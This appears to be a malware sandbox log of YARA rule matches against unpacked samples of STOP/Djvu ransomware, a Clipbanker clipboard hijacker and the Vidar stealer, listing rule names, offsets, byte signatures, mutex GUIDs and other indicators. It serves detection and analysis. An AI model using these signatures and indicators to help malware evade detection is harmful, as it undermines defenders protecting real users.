14.0.mstsca.exe.ee0000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 EE 00 6A 00 6A 00 FF 15 40 40 EE 00 FF 15 2C 40 EE 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 EE 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 EE 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
1.0.U59WtZz2Sg.exe.400000.9.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
1.0.U59WtZz2Sg.exe.400000.9.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
1.0.U59WtZz2Sg.exe.400000.9.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
1.0.U59WtZz2Sg.exe.400000.9.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
9.0.U59WtZz2Sg.exe.400000.10.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
9.0.U59WtZz2Sg.exe.400000.10.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.0.U59WtZz2Sg.exe.400000.10.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.0.U59WtZz2Sg.exe.400000.10.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.0.U59WtZz2Sg.exe.400000.10.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
6.0.U59WtZz2Sg.exe.400000.10.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.0.U59WtZz2Sg.exe.400000.10.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.0.U59WtZz2Sg.exe.400000.10.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
9.2.U59WtZz2Sg.exe.400000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
9.2.U59WtZz2Sg.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.2.U59WtZz2Sg.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.2.U59WtZz2Sg.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
14.2.mstsca.exe.ee0000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
14.2.mstsca.exe.ee0000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
14.2.mstsca.exe.ee0000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 EE 00 6A 00 6A 00 FF 15 40 40 EE 00 FF 15 2C 40 EE 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 EE 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 EE 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
5.2.U59WtZz2Sg.exe.400000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
5.2.U59WtZz2Sg.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.2.U59WtZz2Sg.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.2.U59WtZz2Sg.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.0.U59WtZz2Sg.exe.400000.10.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
5.0.U59WtZz2Sg.exe.400000.10.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.0.U59WtZz2Sg.exe.400000.10.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.0.U59WtZz2Sg.exe.400000.10.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
17.0.U59WtZz2Sg.exe.400000.10.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
17.0.U59WtZz2Sg.exe.400000.10.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
17.0.U59WtZz2Sg.exe.400000.10.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
17.0.U59WtZz2Sg.exe.400000.10.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
4.2.U59WtZz2Sg.exe.22815a0.1.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xdf7ea:$s1: http:// 0xfd898:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101b2b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xffa26:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xdf7ea:$f1: http://
4.2.U59WtZz2Sg.exe.22815a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
4.2.U59WtZz2Sg.exe.22815a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
4.2.U59WtZz2Sg.exe.22815a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.2.U59WtZz2Sg.exe.400000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
6.2.U59WtZz2Sg.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.2.U59WtZz2Sg.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.2.U59WtZz2Sg.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.0.U59WtZz2Sg.exe.400000.6.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
9.0.U59WtZz2Sg.exe.400000.6.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.0.U59WtZz2Sg.exe.400000.6.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.0.U59WtZz2Sg.exe.400000.6.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
10.0.build2.exe.400000.6.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.U59WtZz2Sg.exe.22215a0.1.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
0.2.U59WtZz2Sg.exe.22215a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.U59WtZz2Sg.exe.22215a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.2.U59WtZz2Sg.exe.22215a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
17.0.U59WtZz2Sg.exe.400000.9.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
17.0.U59WtZz2Sg.exe.400000.9.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
17.0.U59WtZz2Sg.exe.400000.9.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
17.0.U59WtZz2Sg.exe.400000.9.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
10.0.build2.exe.400000.9.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.2.U59WtZz2Sg.exe.400000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
1.2.U59WtZz2Sg.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
1.2.U59WtZz2Sg.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
1.2.U59WtZz2Sg.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
10.0.build2.exe.400000.8.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
17.0.U59WtZz2Sg.exe.400000.4.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
17.0.U59WtZz2Sg.exe.400000.4.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
